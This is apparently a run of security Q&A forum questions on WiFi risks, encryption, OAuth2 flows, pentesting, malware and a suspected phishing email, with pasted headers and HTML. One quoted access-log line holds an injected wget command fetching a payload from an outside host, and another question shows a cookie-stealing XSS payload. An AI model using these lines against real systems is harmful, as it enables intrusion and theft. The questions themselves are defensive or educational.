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I wonder if it is safe to use public WiFi in places where the WiFi router might not be managed by professionals and anybody is able to come and connect to the network with their own device.
There are many things that can happen when the workplace hasn't protected their Wi-Fi. For example, DNS spoofing isn't really hard.
Let me give you a real life example:
I was at the hairdresser, my dad was first so I had to wait. I brought my laptop to work a little bit. After finishing everything, I was bored so I looked up the gateway. No problem. I guess it was just something like 192.168.1.1. It asked for a username and a password so I typed admin and admin, and guess what, it worked... I could've done many, many things, but instead I reported it to the owner and explained to him how to resolve this. If I didn't report this, I could've made their cash desk crash, etc. Now I'm not an evil person so I didn't do any of that but what if someone who is an evil person has the knowledge to do something like that?
I don't know what the cause is that shops, etc. are not safe enough.
When I ask 'Is it safe to use Wi-Fi at a BYOD?', I doubt if anyone will give an informative answer. It really depends on the network itself. So actually my question is: what vulnerabilities are there when a Wi-Fi network isn't protected (good)?
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Is there a way to achieve PCI compliant data encryption at disk/folder level in Windows in a way that is transparent to applications(they must be able to write/read to encrypted folders/disks as if they weren't encrypted)?
How should the keys be managed (regarding for example key rotation)?
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I want to trace a user based on IP Address (or MAC Address) on a Network with about 10 L2 or L3 Switches. Is it possible to know that on exactly which switch and on which port a user with a specific IP Address (or MAC Address) is working?
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I have a Tomcat application which is front ended by an Apache web server - end users connect to the Apache web server (never directly to Tomcat) and Apache has a valid, externally issued SSL etc
The Apache web forces HTTPS so I have to connect to Tomcat over HTTPS otherwise it causes mixed mode messages etc and stops functionality as some JS files don't load etc so I need to implement SSL on the Tomcat.
Rather than buying a domain and SSL for Tomcat I was thinking of using a self signed certificate but I have gotten confused about the definition of "client" in the above scenario.
I have read that "clients" will get a message that the server certificate is not trusted (What are the risks of self signing a certificate for SSL) but, in this example, is the client the user connecting via their browser or is the client actually Apache in which case I can add the certificate to Apache to stop this message? Ultimately I don't want the end user to see anything which makes them lose any trust but I also don't want to buy a domain and an SSL if I don't need to
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If a computer is setup as a honeypot and is on the same LAN with other computers, could other computers be attacked?
My thought is that if an attacker infects a honeypot with a worm, this worm would spread over the LAN to other computers. Am i right?
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So I have minimal knowledge of security really but I'm a primary developer on an application which handles some sensitive data that we want to be secure. The application communicates with one other server (the other server is the front end, my server is basically the backend). Our security expert (who is not currently available) has explained that we need mutual SSL authentication for the connection between the servers. Our sysadmin has setup client side authentication and given me a .pem file and now if anyone tries to access the application they get an SSL error because they are not passing client SSL authentication. I need to give 1 other developer who is in another state the ability to access the application. Can I just send him the .pem file (say via email)? Do I need to make a .crt file and send that to him? Basically what information do I need to give the other developer so that he has all the necessary information to access the application. What is in a .pem file? Just the public key or more than that?
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I'm trying to do some Nmap OS detection and I'm running into some results I don't understand.
The scan I'm running is the following:
nmap -O -F -v -T2 -oA nmap-uphosts-OSdetect -iL < my_in_file
I've got -F in there to limit the number of ports because the scan of 40 hosts was taking really long with the default 1000 ports. The -T2 because there seemed to be some IDS / rate limiting / reactive firewall type defenses when running it at full speed.
When my scan completes pretty much every single host has the following message in the results:
No exact OS matches for host (test conditions non-ideal)
This occurs even on hosts with multiple open & closed ports, as required for OS detection.
It's worth noting that all of the hosts are VMWare VMs. I'm not sure if this results in a fingerprint that Nmap has a little more trouble digesting.
Does anyone have any insight on what might be the cause & how I can determine specifically which test conditions are non-ideal to try and get more conclusive results? As it is all the hosts list several possible OSes without a conclusive ID.
Thanks!
EDIT - To clarify this is a lab / learning environment. I have permission to run the scans.
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What I mean by public device?
E.g. in Germany we have small stations to charge cars powered by electricity. This stations are small towers with a flap. Behind the flap are plugs to connect the tower with your car.
Process of charging:
To utilize the tower we use a smartphone app. The user can browse through a number of loading towers located in the country. By pushing a single button the flap opens and reveals the plugs.
Security issues:
The problem is that anybody even people 100 miles away can use the app to trigger the flaps. So there may be people who abuse the this service.
How can we secure such a public service against abuse? I thought about one thing:
Allow only 3 actions in e.g. 2 hours
Any other ideas?
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Please find here described an OAuth2 session fixation attack. Is the attack possible? And am I understanding correctly how it can be stopped?
The attack
Mallory starts logging in at client.example.com via a certain OpenAuth2 provider, but just after the provider has sent the authorization response (https://www.rfc-editor.org/rfc/rfc6749#section-4.1.2) Mallory closes the browser and thus stops the OAuth2 login flow. However before closing the browser he remembers the Location value in the status 302 Found response from the provider:
HTTP/1.1 302 Found
Location: https://client.example.com/oauth-callback?code=12345&state=xyzw
Now Mallory configures an evil web server to reply status 302 Found with the above Location header. He sends an email to Alice and says: "Hi look at this cool page at Client.Example.Com" with a link to his evil web server. Alice follows the link and is redirected to client.example.com with Mallory's OAuth2 code (i.e. 12345). client.example.com continues the authentication flow: it sends the OAuth2 code to the OAuth2 provider and gets back an access token.
The result is that Alice is logged in to an account that Mallory controls. Alice doesn't realize this though, and she makes a purchase via Client.Example.Com. Client.Example.Com remembers her credit card number, which Mallory gets access to later by logging in to the account and checking the account history.
Preventing the attack
OAuth2 doesn't allow reusing the same authorization code (12345) more than once (see the RFC linked above), but since Mallory closed the browser in the middle of the login flow, the auth code isn't used more than once.
In section 10.12 in the RFC it's mentioned that CSRF attacks can be stopped via the OAuth2 state param (xyzw in this example). However, Mallory copies the state param too, so it's likely to be a valid state, if the state is e.g. just a randomly generated nounce. And when Alice follows Mallory's evil link, client.example.com hasn't seen anyone use that particular state before, so client.exampel.com is likely to accept it.
The RFC says that the state should be "e.g. a hash of the session cookie used to authenticate the user-agent". Is that the key to how to prevent this type of attack? Alice would have a session cookie at client.example.com, and the state would be required to be hashWithSha1(the-session-cookie-value)? Mallory's state=xyzw would then be incompatible with Alice's session cookie, hence client.example.com would realize that something was amiss with the redirection from Mallory's evil server?
(Exactly what would you suggest as state? Would simply hashWithSha1(the-session-cookie-value) be safe?)
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Is there any known virus that targets the main operating systems: Windows, Linux and Mac OS X?
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If a computer (running different services such as ftp and ssh) is placed on a Demilitarized Zone, will all of its services automatically be accessed by anyone on the internet?
If the answer is yes, then is it possible to only allow a specific service such as ftp, to be accessed over the internet and block access to all the other servers?
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I have a friend (X) who hacked the whatsapp account of someone (Y) using iphone. He told me that he sent a packet to the iphone of Y that appears as a normal whatsapp message but now he can see all the chat of Y. My question is how did he do it exactly and what's the name of this technique? Don't iphone or other machines have any security against such attacks (maybe encryption)? Does this technique apply universally to any computer?
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is there a solution to create FW rules by URL instead of IP for inbound traffic? For example a.example.com and b.example.com are the same IP on the DNS, but they are different sites, is there a solution to open port 22 for example just to a.example.com?
If so, what is the name of the solution?
Thanks.
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I've researched several forms of encryption/hashing and have often come across the term "bits of security". For example, at least one source claimed SHA-256 = AES128 = ECC256 = 128 bits of security.
My question is, if this is true, can I take a 256-bit SHA-256 digest and compress it down to 128 bits without loss of security? (For example, by just taking the XOR of the upper 128 bits and lower 128 bits of the digest)
In my particular case, it's important that the digest be small. Thanks in advance for any responses.
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I've noticed that I used to be assigned an external IPv4 from my ISP and a 24 bit mask (255.255.255.0), then it changed to 255.255.255.255, today I was studying IPv4 subnetting and I understand that now each ISP subscriber is on his own subnet (right?), then I read about the Snowden leak of the partnership between NSA and my country. Is there any connections? Should we be worried? What are the implications of the subnet change?
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Could a PDF file contain any type of malware?
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I am performing a penetration test against a website that uses Flash.
I found this piece of code:
url = ExternalInterface.call("window.document.location.href.toString") as String;
How it can be exploited?
I tried to exploit it as XSS via submitting a payload after the #:
.swf?id=blabla#payloadhere
but nothing. Since I am not really good with Actionscript can anybody help?
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I have a REST API that can potentially serve multiple web clients.
I want to ensure that only my single page app on my-one-and-only-web-cleint.com can make requests to my API. How do I do this?
Right now there isn't much to stop someone from copying the source of my website and act as a copy of my single page app on my-one-and-only-web-cleint.com.
Only check I have right now is:
On server side: I check for request header's origin and only allow requests from my-one-and-only-web-cleint.com
But my understanding is that you can manually change the header, so this check can be bypassed.
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If you have a fairly secure computer how dangerous is it to connect to a modem directly without a router in between.
Let's say the computer is running Debian as a host and Whonix in VirtualBox, a VPN on host and has the appropriate firewall rules in place.
Would it still be important both for security and the integrity of Tor functioning properly to have a router (DD-WRT) in between the modem and the computer to act as a firewall and an added layer of protection or is it irrelevant.
This is all assuming nothing else is needed, no network sharing or VoIP or VPN hosting or anything like that, simply internet access to the computer which the modem by itself can provide.
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Say we are given a strong cryptographic hash function hash(), a strong completely random password of 15 characters pass15, two single-character salt values salta, saltb.
We compute the hashes hasha, hashb by applying the hash function to the pass15 password + the salts:
hasha = hash(pass15+salta)
hashb = hash(pass15+saltb)
Now, lets say that salta, saltb, hash(), and hasha are all public. Is hashb any more at risk of being cracked than if hasha was not known?
For those who need specifics, lets go with hash() = sha256, but if it matters please say why it matters to this problem.
My belief is that hashb is no less crackable because only a brute force attack is possible to discover hashb, and that the public knowledge of hasha, salta and saltb has no bearing.
I just do not know if there is some mathematical shortcut that could utilize hasha to speed up the cracking. It does not seem theoretically possible.
**Summary based on responses given so far:**
First, let me rephrase the question in a different way:
If I have a strong, random 15 character password, are the salted hashes completely independent and safe to use however I want, even if the salts are known, are weak single-characters simply appended to the end of the password, and the hash function is fast, such as SHA256?
The answer seems to be yes. So, I could tack on a % character on the end of the password, hash it, and use that hash as my user id. It would be difficult to remember and probably too long as a user id, but it would be safe to do.
I could also tack on a single $ character onto the end of the password, hash it, and use the hash as my laptop password, and it would be safe to do that, even though I am publicly using the % hash as my user id. The list goes on for what I could do with the 15 character password and an appended salt. For example I could tack on the domain name of any site, hash the result, and use the hash as my password to the site.
The last concept is the basis for programs like PwdHash and PasswordMaker.
The assumption has been that (for me at least) the passwords generated by such programs are best kept secret as passwords, lest the hash function somehow gets "broken" or compromised. But it seems that as long as the strong password is kept secret, that any salted hash is individually safe to use however I want - that publishing one such hash to the world in no way jeopardizes the safety of any of the other hashes.
I was simply asking if anyone knows of some weakness with this thinking. The answer so far is no, the individual hashes can be used however I want.
For those who may be wondering about HOW safe, here is a quick math-based answer (I kept the math visible so that you can follow along with your calculator):
I believe that right now some programs can use a computer's graphics card to compute around 1 billon SHA256 hashes per second, 1E9 per second (within an order of magnitude at least).
This is the argument for why SHA256 is poor for passwords, and we SHOULD be using slower hashes such as Bcrypt.
Now, take a 15 character random password. The number of possible candidate passwords given uppercase, lowercase, and numerals in the password would be 62^15 = 7.7E26 possible passwords.
Using SHA256 as the hash function, the number of seconds it would take, on average to crack this password would be half the length of time to enumerate all the possible passwords:
7.7E26/1E9/2 = 7.7E17/2 = 3.9E17 seconds
The number of years to crack the password would be:
3.9E17/60/60/24/365 = 1.2E10 years, or 12 billion years, only a billon years less than the age of the Universe.
So to get from a public SHA256 hash to the original 15 character salted password would likely take more time than I have on this Earth.
Even given improvements in hardware (ignoring the possibility of quantum computers), the gap in technology to get down to cracking it in one year means we need computers that are 10 billion times faster.
So, I should feel free to use SHA256 salted hashes however way I choose as long as the basis of the hash is a random password of 15 characters or more.
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In this video, an experienced Ubuntu user manages to infect his system with some sort of malware.
This is the first example I've ever seen of truly successful malware in the wild aside from privilege escalation.
I have learned my lesson and since disabled Flash, but I'm still curious, how was this able to infect the system?
An explanation was provided in the video, but the exact mechanism was not clear to me.
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The OAuth2 spec describes the Resource Owner Password Credentials grant type and authorisation flow here. I understand that only 'trusted' client applications would be allowed to use this grant, for example the 'official' iPhone or Android client application to by backend API.
My question is: how can I guarantee that requests from sources claiming to be this client application can be trusted? For example:
I have registered my android app on my OAuth2 server with the client_id of android_app with access to the grant type of password (i.e. Resource Owner Password Credentials).
As the Android app is a client application so I have assumed it is not trusted to keep the client secret 'secret' and so haven't assigned it one. The app config contains the client_id and grant_type as well as the authentication endpoint.
A user decompiles / unzips / de-obfuscates my app and finds the client_id and endpoint
What's to stop them client making authentication requests to that endpoint with the client id? I'd consider assigning the client a client_secret, but it just seems like that won't solve the issue because a user could just find it in the app.
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I am currently writing a thesis about digital forensics which includes a chapter about memory forensics.
Besides the tools and the methods of acquiring various data with them,
I am kind of desperate to find information about how these tools (eg Volatility) are actually working in theory.
For example, how they identify offsets, processes, connections, differences in memory depending on the OS by looking at the raw dump or any other way.
How do memory analysis tools work? What method do they use? I can't seem to find much information about this.
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I'm able to inject JavaScript payload in HOST header, a request will look like:
Host: <script>alert(document.cookie)</script>
User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/29.0
Cookie got alerted with no problem.
My question is: is this exploitable? Or is it a Self-XSS because I don't know how to send the victim a specific HOST header?
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We have an Authority Center (CA) generating some public and private keys for each client (more than one pair for each client). One method for sending keys to client is sharing a secret key between CA and client, and then sending key pairs and certificates by symmetric encryption method (with secret key). But overhead will be high, so i need an efficient method with low message overhead and time for key pairs transmission. How can i do it?
is there any way to both sides share a secret key and then generates key pairs using it, without transmitting key pairs, (a way that confirm the key pairs are reliable for CA)?
a way is that public keys are hashed to a common value. is it possible for clients to generates such public keys? but i think it takes a lot of time.
it's very important for me, please help me.
|
Considering OpenVZ, KVM and Xen:
Which VM technology is the most difficult for the host's administrators to access given an encrypted root partition?
Can I have a reasonable expectation that rogue administrators cannot become root inside my VPS by running a simple command on the host machine?
Which type of VM is most likely to be secure in this scenario?
P.S.: I realise that a VM is never going to offer absolute security and even a dedicated server could theoretically have data siphoned off via RAM.
I'm asking to determine if a VPS is secure enough to handle personal emails capable of resetting passwords or if a dedicated server is necessary and justified considering the increased costs.
|
How to trace an admin login to active directory server (2008 R2) from which host or which ip (In the situation where multiple admin are working) ?
|
There is a very interesting puzzle on the Programming Puzzles and Code Golf site to Rearrange pixels in an image so it can't be recognized and then get it back. I understand that this is not cryptography, but I wonder how effectively a message could be hidden in such an image and then securely transferred and retrieved.
Consider Alice and Bob who have conspired beforehand to use one of the solutions to the puzzle for Alice to transmit to Bob images of text. The TLA* is tasked with breaking their ad hoc "encryption" (obfuscation), but do not know about Stack Exchange sites. The TLA does not have access to Alice, as she is outside their jurisdiction. Furthermore, being images of text, the whole image is in greyscale.
If the TLA were to intercept an image 'encoded' with one of the solutions to the Code Golf contest, what steps would they take to decrypt it?
* TLA: Hypothetical government agency with access to the network.
|
Question(s)
Is it possible to "redirect" linux-update-repos via DNS spoofing (e.g. DNS cache poisoning) to a malicious website, so that harmful software (updates) will be installed, when running the packet manager's update function (yum, apt-get, etc.)?
Or is that completely unrealistic, since those repos are very well protected via certificates, ssl, etc.?
Furthermore if possible, are there ways to protect yourself against something like that?
Background
I was considering to set up automated updates for my webserver, and (besides other problems that might arise from this) I was not sure if it is a good idea, since an attacker would have a pretty big time window. For example from 4 am til morning, in case of the default settings of yum-cron for example.
|
What is the difference between virtual machine and virtual desktop?
KOMODO Internet Security, for example, offers virtual desktop, and there's a stealth program there.
If software sends the same identifier, hostname, tracking cookie or similar does VM or VD prevent the leaks?
|
According to Browsec's website this application can be used to Bypass firewalls. So in countries like Iran it seems a useful tool to bypass censorship and filtering.
For start using this application there are two version available, A "Chrome extension" and a "Portable Firefox" version.
My question is that is it safe to use Chrome extension of this software? can it cause security problem when i log in to Gmail and other password protected websites when i use this extension?
For example can this application secretly steal my passwords?
|
We have a set of servers hosted at a tier-1 provider, and they are currently behind a VPN running on a gateway machine and not accessible to the open internet. Due to VPN instability issues we've been having, we're looking at other options. Can someone provide ideas on how we can maintain protection at the network level -- people attacking the OS, the web server, the web framework, etc. Please note that we have users in various physical locations without static IP addresses that need to access this via both office and home internet service. Thank you! -Ron
|
Are anti-viruses useful nowadays ?
Given the number of viruses that are developed and spread monthly, and given the fact anti-viruses are based on virus signatures, I wonder how much it is useful and effective to use an anti-virus ?
|
I was reading about CompuTrace and this thing is pretty much a backdoor and irremovable. It's in the firmware, in the BIOS and survives formatting and even hard drive change and OS reinstalls.
Some question came to mind,
Does CompuTrace work with Linux?
Does CompuTrace still work when using VPN or Tor?
How do you find out if it's on the computer, even if inactive?
I did some reading online and this exploit/backdoor is very dangerous. It can basically obtain ANY information and send it back home and is a poison pill and a tracking device. One of the issues I have noticed is the purchasing of used notebooks which you cannot be sure are not stolen.
Read this: http://www.freakyacres.com/remove_computrace_lojack
One comment was particularly interesting, apparently coming from a cop, which claims (quote)
"It's all nice in theory to sit here and talk about how you think you can disable the software, but from a law enforcement perspective I can tell you it is a LOT more persistent than you know and it does a whole lot more than you think it does."
That does not sound good and is pretty much an information security killer.
Am I missing something here or is this a permanent, irremovable exploit/backdoor?
|
I have an old PDF.zip file that is password secured. Naturally I can't remember it.
Is there a way to change it or disable it?
|
Illustration : mainsite.com and contentsite.com both are being developed for same company by two teams. we will have login etc at mainsite.com
contentsite.com will have some content that is not available for users who have not logged-in. But login will be via mainsite.com
What is the best way to implement this? Some users might be on http, we want them to be redirected back to the http page they were on, if they click login. Besides that we need contentsite.com to know that a user had logged in and what ther id is.
There will be a seperate on register and on-profile change job that shares information from mainsite to contentsite.com
So the question is : is encrypted user name enough (after login to tell content site that user has logged in? add random salt so it cant be spoofed?)
2. need webservice so contentsite can cross check login?
We are considering :
Redirection on login so we touch the 2nd site and allow it to place http and https cookies. Is this what google does (but only https) for youtube and other google sites? Or a combination of web services domain to domain calls in the background? Do we need API calls to stop man in the middle or is initial SSL enough? Finally we want to be able users to use most of the website in http or https besides the checkout, login and profile pages.
javascript add on for the content domain, with AES encrypted user name along with some hash. So no redirection but everytime we add content tag we pass encrypted authenticated user or anonymous of not yet logged in
oauth or auth0.com or other scheme, not sure if we need this as we are already using a world class spring security impl built by a big co and just want to share our login user id with other domain that is our own
Looked at a few question about the same thing like this node js question but they did not seem to fit exactly. Is there a standard we have missed?
We are using spring security for the main store. The content site will have no data base but we will share some profile information via separate non web channels (on sign up and profile change api calls).
For login the store website has SSL pages ready, that redirect you back to the original page (http or https).
|
In a blog post I recently read called "You Don't Want XTS," the author explains some of the pitfalls of using XTS to encrypt filesystems. Specifically, he recommends against ever sharing encrypted file-based filesystems over services like Dropbox when the file-based disk is encrypted in XTS.
Since TrueCrypt offers a fairly easy way to create encrypted file-based filesystems, I've used it in the past for keeping things safe when I need to transport around a filesystem on a thumb drive or over the internet.
Seeing as dm-crypt uses AES-CBC with an ESSIV by default instead of XTS, does it fall victim to the same vulnerabilities as TrueCrypt does in XTS?
|
I was looking at the TLS Working Group Charter. I noticed that confidentiality and integrity of messages for those who desire it are not goals for the group.
Naively, I believe confidentiality and integrity are probably the predominant use cases. There are even folks who [incorrectly] state you get "end-to-end" security with them. Authentication-only (i.e., eNULL) and Encryption-only (i.e., aNULL) are likely not as popular.
Why do the goals lack confidentiality and integrity requirements for parties who want them?
Here's the context: Encryption of TLS 1.3 content type. In the thread, an argument was made to avoid changes that break middleware boxes. Effectively, I think that means don't break interception proxies, don't hinder traffic analysis, and facilitate other methods of attack (cynicism by me).
I thought, boy, that can't be the case. Surely the charter states confidentiality and integrity are security goals, and designing a protocol that subverts them would be a violation of the charter.
|
I'm doing a penetration test for a client who wants me to try and target a specific server. I have managed to get credentials(hard-coded in an in-house app) to a limited account on this server that works with sftp, but won't give a shell with SSH.
The message states that shells are only available when connecting from the opsware jumpbox.
I've tried looking at known_hosts, hosts, whatever config files I have permission to grab, and searching all through the DNS. I can't find a reference to it anywhere.
What are some other tips I could use to get the host of the "opsware jumpbox"?
|
I'll be looking to perform a domain password audit in which the user will be using english characters but may be 40% Mandarin speakers so I anticipate a large number of names, phrases, or words that are written to be mandarin (but written using english character set).
I'd like to perform a hybrid attack and thus I'm hoping to expand my dictionary list to include non-english phrases/words/names but typed in the english character set.
Does anyone know of a resource that fits this description or has access to such a dictionary/word list? I've done some googling but couldn't find much.
Appreciate any input.
|
This is a short but general question. I am relatively new to programming in general. My site, which is predominately written in PHP, will be launched soon and is undergoing some security tightening. This started with converting the whole thing to PDO with prepared statements (from what was a MySQL set up) to making sessions more secure.
My issue is this: I make quite a lot of use of the $_GET superglobal to pass user IDs around and thread IDs in the Q/A section. If a member clicks on another member's pic, they are sent to that user's profile page invariably using a $_GET['id'] to send the info - usual newbie type stuff.
I am concerned that this may pose a security risk as the members' ID numbers are essentially visible throughout the site.
I am not sure that creating forms with hidden $_POST variables is the answer. I have searched for answers on this, without success regarding this exact question.
I know this is not code, but I would appreciate some steerage on whether this actually does represent a problem, and if so, how.
|
today I received this
16X.XXX.XX.77 - - [28/Jul/2014:--:--:--] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 3596 "-" "chroot-apach0day"
so with
HTTP_USER_AGENT: chroot-apach0day
REQUEST_URI: x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day
appears in access log and seems suspicious...
any idea about that?
|
I received this email from what is supposedly Facebook today. Here's a screenshot:
I was not aware I had credits or credits existed on Facebook and apparently I have $2.30 worth. It looks legitimate at first glance, the email address looks like all the other Facebook emails I get but I have a few reasons to believe this is fake and a phishing attempt.
All of the links on the page, which I haven't clicked on by the way,
when hovering over and getting a preview of the link in the bottom
left corner, aren't actual URLs, just directories I think. The
Facebook header link points to setting?tab=payments. The review
your balance link is the same thing. The app center link is just
appcenter. Perhaps a failed phishing attempt or the email team
messed up, not something Facebook would do.
The email style of the header, and background doesn't look anything
like the legitimate emails I get from Facebook. To see what I mean,
take a look at this email I got a couple days ago.
As you can see, the top blue bar is a solid blue bar, unlike the gradiented bar on the first email. The background is white not grey like the first one. And it's not full width like the first one. The styles are similar but the first one looks a little older than the one I got a couple days ago which has a flatter look.
Is this email legitimate or is it some sort of failed phishing attempt?
Edit: here is the source code:
Delivered-To: myEmail@gmail.com
Received: by 10.64.208.67 with SMTP id mc3csp215958iec;
Mon, 28 Jul 2014 11:18:02 -0700 (PDT)
X-Received: by 10.68.191.194 with SMTP id ha2mr5567506pbc.143.1406571481784;
Mon, 28 Jul 2014 11:18:01 -0700 (PDT)
Return-Path: <notification+kr4mqmknaean@facebookmail.com>
Received: from mx-out.facebook.com (outmail021.prn2.facebook.com. [66.220.144.148])
by mx.google.com with ESMTPS id bg5si3360342pdb.468.2014.07.28.11.18.01
for <myEmail@gmail.com>
(version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
Mon, 28 Jul 2014 11:18:01 -0700 (PDT)
Received-SPF: pass (google.com: domain of notification+kr4mqmknaean@facebookmail.com designates 66.220.144.148 as permitted sender) client-ip=66.220.144.148;
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of notification+kr4mqmknaean@facebookmail.com designates 66.220.144.148 as permitted sender) smtp.mail=notification+kr4mqmknaean@facebookmail.com;
dkim=pass header.i=@facebookmail.com;
dmarc=pass (p=REJECT dis=NONE) header.from=facebookmail.com
Received: from facebook.com (f2hk/PLxoaEIT/fBlhT+zd5nnjzhUaEeZHCH61uLXXqwZpYsw2Ru1XBNzDHLgndM 10.103.99.61)
by facebook.com with Thrift id 8297627c168311e4a87a0002c992c8ec-5c5fb400;
Mon, 28 Jul 2014 11:18:01 -0700
X-Facebook: from 10.83.48.31 ([MTI3LjAuMC4x])
by async.facebook.com with HTTP (ZuckMail);
Date: Mon, 28 Jul 2014 11:18:01 -0700
Return-Path: notification+kr4mqmknaean@facebookmail.com
To: Milo Gosnell <myEmail@gmail.com>
From: "Facebook" <notification+kr4mqmknaean@facebookmail.com>
Reply-to: noreply <noreply@facebookmail.com>
Subject: You have $2.30 in your Facebook account
Message-ID: <e97806d65a32ea0f70f0cadf5f5df3e6@async.facebook.com>
X-Priority: 3
X-Mailer: ZuckMail [version 1.00]
Errors-To: notification+kr4mqmknaean@facebookmail.com
X-Facebook-Notify: payment_credits_to_lc_balance; mailid=a409107G5af3188d358eG0G28eG21014dad
X-FACEBOOK-PRIORITY: 0
X-Auto-Response-Suppress: All
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="b1_e97806d65a32ea0f70f0cadf5f5df3e6"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=facebookmail.com;
s=s1024-2013-q3; t=1406571481;
bh=be0apt2xjA3K0VqNAhrb4AJp1qqCmG/w36+vycpp3b0=;
h=Date:To:From:Subject:MIME-Version:Content-Type;
b=gvByiMKxQpl/GjtzE2LzNHOd+5W8bsyhfNbUTzr8H6s3HbLYShCJnW1nSWtJCzdpd
srNFP6R7b7QkCsANFCq0wTLxHqnA0JsEyq6ys9ZviAX3SAAUxm8Gve1+KCpHWPYifX
Eqa2Jjzo13vN73niZb3KQGxwMFKZOWbM+GTxhV5w=
--b1_e97806d65a32ea0f70f0cadf5f5df3e6
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
Hi Milo,
Facebook has changed from credits to local currency. You have $2.30 in =
your account. You can review your balance or use this money on apps or =
games in the App Center.
Thanks,
The Facebook Payments Team
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
This message was sent to myEmail@gmail.com. If you don't want to receive =
these emails from Facebook in the future, please follow the link below to =
unsubscribe.
https://www.facebook.com/o.php?k=3DAS3FhR4P3qzdS6JW&u=3D100000135460238&mi=
d=3Da409107G5af3188d358eG0G28eG21014dad
Facebook, Inc., Attention: Department 415, PO Box 10005, Palo Alto, CA =
94303
--b1_e97806d65a32ea0f70f0cadf5f5df3e6
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional =
//EN"><html><head><title>Facebook</title><meta http-equiv=3D"Content-Type" =
content=3D"text/html; charset=3Dutf-8" =
/><style>body{background:#e0e1e5;font-family:'Helvetica =
Neue',Helvetica,'Lucida Grande',tahoma,verdana,arial,sans-serif;font-weigh=
t:300}a{color:#333;text-decoration:none;white-space:nowrap =
!important}#email_table{width:100% !important}#email_content{padding:0 =
!important}#profile_pic =
img{border:0}*[class].usercard{background:#fff}@media all and =
(max-device-width: 720px){a{white-space:pre-wrap =
!important}table[bgcolor=3D"#e9eaed"]{background:transparent =
!important}*[id]#body_container{border-bottom:1px solid #e5e5e5 =
!important}table[width=3D"610"],*[id]#body_container,*[id]#cta_container{t=
able-layout:fixed}*[id]#cta_outer{border:none !important}*[id]#header_prof=
ile>table>tbody>tr>td:not(:nth-child(4)){display:none =
!important}*[id]#profile_name{display:none}*[id]#profile_pic{-moz-border-r=
adius:3px !important;-webkit-border-radius:3px =
!important;border-radius:3px !important;border-width:0 =
!important;overflow:hidden}*[id]#header_title{width:auto =
!important}*[id]#header_profile{width:24px}*[class].bio{display:none =
!important}*[id]#main_content{width:100%}*[class].content>div =
a{display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap =
!important;width:160px}*[class].ext{padding-right:20px}*[class].image =
a{display:block;margin-left:20px}*[class].cta_btn,*[class].scnd_btn{displa=
y:block}*[id]#email_cta>tbody>tr>td[width=3D"100%"]{display:none}}@media =
all and (device-width: 720px){table[width=3D"610"],*[id]#body_container,*[=
id]#footer_container{width:340px}*[id]#email_filler td{height:12px =
!important}*[class].usercard{width:300px !important}}@media all and =
(max-device-width: =
480px){*[id]#cta_container>table>tbody>tr>td[height=3D"15"]{display:none =
!important}}@media all and (device-width: 320px){table[width=3D"610"],*[id=
]#body_container,*[id]#cta_container{min-width:400px;width:auto}center{pad=
ding:0 10px}*[class].content>div a{width:182px}}</style></head><body =
style=3D"margin:0;padding:0;" dir=3D"ltr"><table cellspacing=3D"0" =
cellpadding=3D"0" id=3D"email_table" =
style=3D"border-collapse:collapse;width:98%;" border=3D"0"><tr><td =
id=3D"email_content" style=3D"font-family:'lucida =
grande',tahoma,verdana,arial,sans-serif;font-size:12px;padding:0px;ba=
ckground:#e0e1e5;"><table cellspacing=3D"0" cellpadding=3D"0" =
width=3D"100%" border=3D"0" =
style=3D"border-collapse:collapse;width:100%;"><tr><td =
style=3D"font-size:11px;font-family:LucidaGrande,tahoma,verdana,arial,sans=
-serif;padding:0;border-left:none;border-right:none;border-top:none;border=
-bottom:none;"><table cellspacing=3D"0" cellpadding=3D"0" width=3D"100%" =
style=3D"border-collapse:collapse;"><tr><td =
style=3D"padding:0;width:100%;"><span style=3D"color:#FFFFFF;display:none =
!important;font-size:1px;">Hi Milo, Facebook has changed from credits to =
local currency. You have $2.30 in your account. You can review your =
balance or use this money on apps or games in the App Center . Thanks, The =
Facebook Payments Team</span></td></tr><tr><td =
style=3D"padding:0;width:100%;"><table cellspacing=3D"0" cellpadding=3D"0" =
width=3D"100%" bgcolor=3D"#435E9C" style=3D"border-collapse:collapse;width=
:100%;background:#435E9C;background-image:-webkit-linear-gradient(top, =
#5c77b5, #435e9c);border-color:#0A1F4F;border-style:solid;border-width:0px =
0px 1px 0px;box-shadow:0 1px 1px rgba(0, 0, 0, 0.25);height:47px;" =
id=3D"header"><tr><td style=3D""><center><table cellspacing=3D"0" =
cellpadding=3D"0" width=3D"610" height=3D"44" =
style=3D"border-collapse:collapse;"><tr><td align=3D"left" =
id=3D"header_title" style=3D"width:100%;line-height:47px;"><table =
cellspacing=3D"0" cellpadding=3D"0" =
style=3D"border-collapse:collapse;"><td style=3D""><a =
href=3D"/settings?tab=3Dpayments" style=3D"color:#FFFFFF;text-decoration:n=
one;font-weight:bold;font-family:lucida grande,tahoma,verdana,arial,sans-s=
erif;vertical-align:baseline;font-size:20px;letter-spacing:-0.03em;text-al=
ign:left;text-shadow:0 1px 0 rgba(0, 0, 0, 0.24);"> facebook </a></td><td =
width=3D"10" style=3D"width:10px;"></td><td style=3D""><font =
color=3D"white" size=3D"3"><a =
style=3D"color:#ffffff;text-decoration:none;font-family:Helvetica =
Neue,Helvetica,Lucida Grande,tahoma,verdana,arial,sans-serif;font-size:16p=
x;font-weight:bold;text-shadow:0 -1px rgba(34, 59, 115, =
0.85);vertical-align:middle;" href=3D"/settings?tab=3Dpayments"></a></font=
></td></table></td></tr></table></center></td></tr></table></td></tr><tr><=
td style=3D"padding:0;width:100%;"><table cellspacing=3D"0" =
